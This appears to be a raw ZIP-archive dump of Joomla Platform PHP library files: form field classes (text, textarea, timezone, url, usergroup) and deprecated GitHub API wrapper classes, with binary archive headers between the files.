* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a one line text field.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 1.7.0
*/
class JFormFieldText extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Text';
/**
* The allowable maxlength of the field.
*
* @var integer
* @since 3.2
*/
protected $maxLength;
/**
* The mode of input associated with the field.
*
* @var mixed
* @since 3.2
*/
protected $inputmode;
/**
* The name of the form field direction (ltr or rtl).
*
* @var string
* @since 3.2
*/
protected $dirname;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.text';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'maxLength':
case 'dirname':
case 'inputmode':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'maxLength':
$this->maxLength = (int) $value;
break;
case 'dirname':
$value = (string) $value;
$this->dirname = ($value == $name || $value == 'true' ||
$value == '1');
break;
case 'inputmode':
$this->inputmode = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$result = parent::setup($element, $value, $group);
if ($result == true)
{
$inputmode = (string) $this->element['inputmode'];
$dirname = (string) $this->element['dirname'];
$this->inputmode = '';
$inputmode = preg_replace('/\s+/', ' ',
trim($inputmode));
$inputmode = explode(' ', $inputmode);
if (!empty($inputmode))
{
$defaultInputmode = in_array('default', $inputmode) ?
JText::_('JLIB_FORM_INPUTMODE') . ' ' : '';
foreach (array_keys($inputmode, 'default') as $key)
{
unset($inputmode[$key]);
}
$this->inputmode = $defaultInputmode . implode(' ',
$inputmode);
}
// Set the dirname.
$dirname = ((string) $dirname == 'dirname' || $dirname ==
'true' || $dirname == '1');
$this->dirname = $dirname ? $this->getName($this->fieldname .
'_dir') : false;
$this->maxLength = (int) $this->element['maxlength'];
}
return $result;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
if ($this->element['useglobal'])
{
$component =
JFactory::getApplication()->input->getCmd('option');
// Get correct component for menu items
if ($component == 'com_menus')
{
$link = $this->form->getData()->get('link');
$uri = new JUri($link);
$component = $uri->getVar('option',
'com_menus');
}
$params = JComponentHelper::getParams($component);
$value = $params->get($this->fieldname);
// Try with global configuration
if (is_null($value))
{
$value = JFactory::getConfig()->get($this->fieldname);
}
// Try with menu configuration
if (is_null($value) &&
JFactory::getApplication()->input->getCmd('option') ==
'com_menus')
{
$value =
JComponentHelper::getParams('com_menus')->get($this->fieldname);
}
if (!is_null($value))
{
$value = (string) $value;
$this->hint = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE',
$value);
}
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 3.4
*/
protected function getOptions()
{
$options = array();
foreach ($this->element->children() as $option)
{
// Only add <option /> elements.
if ($option->getName() != 'option')
{
continue;
}
// Create a new option object based on the <option /> element.
$options[] = JHtml::_(
'select.option', (string) $option['value'],
JText::alt(trim((string) $option),
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)), 'value', 'text'
);
}
return $options;
}
/**
* Method to get the field suggestions.
*
* @return array The field option objects.
*
* @since 3.2
* @deprecated 4.0 Use getOptions instead
*/
protected function getSuggestions()
{
return $this->getOptions();
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$maxLength = !empty($this->maxLength) ? '
maxlength="' . $this->maxLength . '"' :
'';
$inputmode = !empty($this->inputmode) ? '
inputmode="' . $this->inputmode . '"' :
'';
$dirname = !empty($this->dirname) ? ' dirname="' .
$this->dirname . '"' : '';
/* Get the field options for the datalist.
Note: getSuggestions() is deprecated and will be changed to getOptions()
with 4.0. */
$options = (array) $this->getSuggestions();
$extraData = array(
'maxLength' => $maxLength,
'pattern' => $this->pattern,
'inputmode' => $inputmode,
'dirname' => $dirname,
'options' => $options,
);
return array_merge($data, $extraData);
}
}
PKKn�[f +�hhform/fields/textarea.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a multi line area for entry of plain text
*
* @link http://www.w3.org/TR/html-markup/textarea.html#textarea
* @since 1.7.0
*/
class JFormFieldTextarea extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Textarea';
/**
* The number of rows in textarea.
*
* @var mixed
* @since 3.2
*/
protected $rows;
/**
* The number of columns in textarea.
*
* @var mixed
* @since 3.2
*/
protected $columns;
/**
* The maximum number of characters in textarea.
*
* @var mixed
* @since 3.4
*/
protected $maxlength;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.textarea';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'rows':
case 'columns':
case 'maxlength':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'rows':
case 'columns':
case 'maxlength':
$this->$name = (int) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->rows = isset($this->element['rows']) ? (int)
$this->element['rows'] : false;
$this->columns = isset($this->element['cols']) ? (int)
$this->element['cols'] : false;
$this->maxlength = isset($this->element['maxlength']) ?
(int) $this->element['maxlength'] : false;
}
return $return;
}
/**
* Method to get the textarea field input markup.
* Use the rows and columns attributes to specify the dimensions of the
area.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$columns = $this->columns ? ' cols="' .
$this->columns . '"' : '';
$rows = $this->rows ? ' rows="' .
$this->rows . '"' : '';
$maxlength = $this->maxlength ? ' maxlength="' .
$this->maxlength . '"' : '';
$extraData = array(
'maxlength' => $maxlength,
'rows' => $rows,
'columns' => $columns
);
return array_merge($data, $extraData);
}
}
PKKn�[�YΟYYform/fields/timezone.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('groupedlist');
/**
* Form Field class for the Joomla Platform.
*
* @since 1.7.0
*/
class JFormFieldTimezone extends JFormFieldGroupedList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Timezone';
/**
* The list of available timezone groups to use.
*
* @var array
* @since 1.7.0
*/
protected static $zones = array('Africa', 'America',
'Antarctica', 'Arctic', 'Asia',
'Atlantic', 'Australia', 'Europe',
'Indian', 'Pacific');
/**
* The keyField of timezone field.
*
* @var integer
* @since 3.2
*/
protected $keyField;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'keyField':
return $this->keyField;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'keyField':
$this->keyField = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->keyField = (string) $this->element['key_field'];
}
return $return;
}
/**
* Method to get the time zone field option groups.
*
* @return array The field option objects as a nested array in groups.
*
* @since 1.7.0
*/
protected function getGroups()
{
$groups = array();
// Get the list of time zones from the server.
$zones = DateTimeZone::listIdentifiers();
// Build the group lists.
foreach ($zones as $zone)
{
// Time zones not in a group we will ignore.
if (strpos($zone, '/') === false)
{
continue;
}
// Get the group/locale from the timezone.
list ($group, $locale) = explode('/', $zone, 2);
// Only use known groups.
if (in_array($group, self::$zones))
{
// Initialize the group if necessary.
if (!isset($groups[$group]))
{
$groups[$group] = array();
}
// Only add options where a locale exists.
if (!empty($locale))
{
$groups[$group][$zone] = JHtml::_('select.option', $zone,
str_replace('_', ' ', $locale), 'value',
'text', false);
}
}
}
// Sort the group lists.
ksort($groups);
foreach ($groups as &$location)
{
sort($location);
}
// Merge any additional groups in the XML definition.
$groups = array_merge(parent::getGroups(), $groups);
return $groups;
}
}
PKKn�[�>*&&form/fields/url.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the Joomla Platform.
* Supports a URL text field
*
* @link http://www.w3.org/TR/html-markup/input.url.html#input.url
* @see JFormRuleUrl for validation of full urls
* @since 1.7.0
*/
class JFormFieldUrl extends JFormFieldText
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Url';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.url';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.1.2 (CMS)
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$maxLength = !empty($this->maxLength) ? '
maxlength="' . $this->maxLength . '"' :
'';
// Note that the input type "url" is suitable only for external
URLs, so if internal URLs are allowed
// we have to use the input type "text" instead.
$inputType = $this->element['relative'] ?
'type="text"' : 'type="url"';
$extraData = array(
'maxLength' => $maxLength,
'inputType' => $inputType,
);
return array_merge($data, $extraData);
}
}
PKKn�[R��0z z form/fields/usergroup.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a nested checkbox field listing user groups.
* Multiselect is available by default.
*
* @since 1.7.0
* @deprecated 3.5
*/
class JFormFieldUsergroup extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Usergroup';
/**
* Method to get the user group field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
JLog::add('JFormFieldUsergroup is deprecated. Use
JFormFieldUserGroupList instead.', JLog::WARNING,
'deprecated');
$options = array();
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= $this->disabled ? ' disabled' : '';
$attr .= $this->size ? ' size="' . $this->size .
'"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($this->onchange) ? ' onchange="' .
$this->onchange . '"' : '';
$attr .= !empty($this->onclick) ? ' onclick="' .
$this->onclick . '"' : '';
// Iterate through the children and build an array of options.
foreach ($this->element->children() as $option)
{
// Only add <option /> elements.
if ($option->getName() != 'option')
{
continue;
}
$disabled = (string) $option['disabled'];
$disabled = ($disabled == 'true' || $disabled ==
'disabled' || $disabled == '1');
// Create a new option object based on the <option /> element.
$tmp = JHtml::_(
'select.option', (string) $option['value'],
trim((string) $option), 'value', 'text',
$disabled
);
// Set some option attributes.
$tmp->class = (string) $option['class'];
// Set some JavaScript option attributes.
$tmp->onclick = (string) $option['onclick'];
// Add the option object to the result set.
$options[] = $tmp;
}
return JHtml::_('access.usergroup', $this->name,
$this->value, $attr, $options, $this->id);
}
}
PKKn�[��
��github/account.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Account class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubAccount extends JGithubObject
{
/**
* Method to create an authorisation.
*
* @param array $scopes A list of scopes that this authorisation is
in.
* @param string $note A note to remind you what the OAuth token is
for.
* @param string $url A URL to remind you what app the OAuth token
is for.
*
* @deprecated use authorization->create()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function createAuthorisation(array $scopes = array(), $note =
'', $url = '')
{
// Build the request path.
$path = '/authorizations';
$data = json_encode(
array('scopes' => $scopes, 'note' => $note,
'note_url' => $url)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete an authorisation
*
* @param integer $id ID of the authorisation to delete
*
* @deprecated use authorization->delete()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function deleteAuthorisation($id)
{
// Build the request path.
$path = '/authorizations/' . $id;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to edit an authorisation.
*
* @param integer $id ID of the authorisation to edit
* @param array $scopes Replaces the authorisation scopes with
these.
* @param array $addScopes A list of scopes to add to this
authorisation.
* @param array $removeScopes A list of scopes to remove from this
authorisation.
* @param string $note A note to remind you what the OAuth
token is for.
* @param string $url A URL to remind you what app the OAuth
token is for.
*
* @deprecated use authorization->edit()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function editAuthorisation($id, array $scopes = array(), array
$addScopes = array(), array $removeScopes = array(), $note = '',
$url = '')
{
// Check if more than one scopes array contains data
$scopesCount = 0;
if (!empty($scopes))
{
$scope = 'scopes';
$scopeData = $scopes;
$scopesCount++;
}
if (!empty($addScopes))
{
$scope = 'add_scopes';
$scopeData = $addScopes;
$scopesCount++;
}
if (!empty($removeScopes))
{
$scope = 'remove_scopes';
$scopeData = $removeScopes;
$scopesCount++;
}
// Only allowed to send data for one scope parameter
if ($scopesCount >= 2)
{
throw new RuntimeException('You can only send one scope key in this
request.');
}
// Build the request path.
$path = '/authorizations/' . $id;
$data = json_encode(
array(
$scope => $scopeData,
'note' => $note,
'note_url' => $url,
)
);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get details about an authorised application for the
authenticated user.
*
* @param integer $id ID of the authorisation to retrieve
*
* @deprecated use authorization->get()
*
* @return object
*
* @since 3.1.4
* @note This method will only accept Basic Authentication
* @throws DomainException
*/
public function getAuthorisation($id)
{
// Build the request path.
$path = '/authorizations/' . $id;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the authorised applications for the authenticated user.
*
* @deprecated use authorization->getList()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @note This method will only accept Basic Authentication
*/
public function getAuthorisations()
{
// Build the request path.
$path = '/authorizations';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the rate limit for the authenticated user.
*
* @deprecated use authorization->getRateLimit()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function getRateLimit()
{
// Build the request path.
$path = '/rate_limit';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
PKKn�[h=}�+�+github/commits.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Commits class for the Joomla Platform.
*
* @since 3.0.0
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubCommits extends JGithubObject
{
/**
* Method to create a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $message The commit message.
* @param string $tree SHA of the tree object this commit points
to.
* @param array $parents Array of the SHAs of the commits that were
the parents of this commit.
* If omitted or empty, the commit will be
written as a root commit.
* For a single parent, an array of one SHA
should be provided.
* For a merge commit, an array of more than
one should be provided.
*
* @deprecated use data->commits->create()
*
* @return object
*
* @since 3.0.0
*/
public function create($user, $repo, $message, $tree, array $parents =
array())
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/commits';
$data = json_encode(
array('message' => $message, 'tree' => $tree,
'parents' => $parents)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to comment on.
* @param string $comment The text of the comment.
* @param integer $line The line number of the commit to comment
on.
* @param string $filepath A relative path to the file to comment on
within the commit.
* @param integer $position Line index in the diff to comment on.
*
* @deprecated use repositories->comments->create()
*
* @return object
*
* @since 3.0.0
*/
public function createCommitComment($user, $repo, $sha, $comment, $line,
$filepath, $position)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha . '/comments';
$data = json_encode(
array(
'body' => $comment,
'commit_id' => $sha,
'line' => (int) $line,
'path' => $filepath,
'position' => (int) $position,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a comment on a commit.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $id The ID of the comment to edit.
*
* @deprecated use repositories->comments->delete()
*
* @return object
*
* @since 3.0.0
*/
public function deleteCommitComment($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to edit a comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $id The ID of the comment to edit.
* @param string $comment The text of the comment.
*
* @deprecated use repositories->comments->edit()
*
* @return object
*
* @since 3.0.0
*/
public function editCommitComment($user, $repo, $id, $comment)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
$data = json_encode(
array(
'body' => $comment,
)
);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single commit for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to retrieve.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->commits->get()
*
* @return array
*
* @since 3.0.0
*/
public function getCommit($user, $repo, $sha, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the comment to retrieve
*
* @deprecated use repositories->comments->get()
*
* @return array
*
* @since 3.0.0
*/
public function getCommitComment($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of comments for a single commit for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to retrieve.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->comments->getList()
*
* @return array
*
* @since 3.0.0
*/
public function getCommitComments($user, $repo, $sha, $page = 0, $limit =
0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha . '/comments';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a diff for two commits.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $base The base of the diff, either a commit SHA or
branch.
* @param string $head The head of the diff, either a commit SHA or
branch.
*
* @deprecated use repositories->commits->compare()
*
* @return array
*
* @since 3.0.0
*/
public function getDiff($user, $repo, $base, $head)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/compare/' . $base . '...' . $head;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list commits for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->commits->getList()
*
* @return array
*
* @since 3.0.0
*/
public function getList($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of commit comments for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->comments->getListRepository()
*
* @return array
*
* @since 3.0.0
*/
public function getListComments($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
PKKn�[�6�� � github/forks.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Forks class for the Joomla Platform.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubForks extends JGithubObject
{
/**
* Method to fork a repository.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $org The organization to fork the repo into. By
default it is forked to the current user.
*
* @deprecated use repositories->forks->create()
*
* @return object
*
* @since 2.5.0
* @throws DomainException
*/
public function create($user, $repo, $org = '')
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/forks';
if (strlen($org) > 0)
{
$data = json_encode(
array('org' => $org)
);
}
else
{
$data = json_encode(array());
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 202)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list forks for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->forks->getList()
*
* @return array
*
* @since 2.5.0
* @throws DomainException
*/
public function getList($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/forks';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
PKKn�[`8��github/github.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a GitHub server instance.
*
* @property-read JGithubPackageActivity $activity GitHub API
object for activity.
* @property-read JGithubPackageAuthorization $authorization GitHub API
object for authorizations.
* @property-read JGithubPackageData $data GitHub API
object for data.
* @property-read JGithubPackageGists $gists GitHub API
object for gists.
* @property-read JGithubPackageGitignore $gitignore GitHub API
object for gitignore.
* @property-read JGithubPackageIssues $issues GitHub API
object for issues.
* @property-read JGithubPackageMarkdown $markdown GitHub API
object for markdown.
* @property-read JGithubPackageOrgs $orgs GitHub API
object for orgs.
* @property-read JGithubPackagePulls $pulls GitHub API
object for pulls.
* @property-read JGithubPackageRepositories $repositories GitHub API
object for repositories.
* @property-read JGithubPackageSearch $search GitHub API
object for search.
* @property-read JGithubPackageUsers $users GitHub API
object for users.
*
* @property-read JGithubRefs $refs Deprecated GitHub API
object for referencess.
* @property-read JGithubForks $forks Deprecated GitHub API
object for forks.
* @property-read JGithubCommits $commits Deprecated GitHub API
object for commits.
* @property-read JGithubMilestones $milestones Deprecated GitHub API
object for commits.
* @property-read JGithubStatuses $statuses Deprecated GitHub API
object for commits.
* @property-read JGithubAccount $account Deprecated GitHub API
object for account references.
* @property-read JGithubHooks $hooks Deprecated GitHub API
object for hooks.
* @property-read JGithubMeta $meta Deprecated GitHub API
object for meta.
*
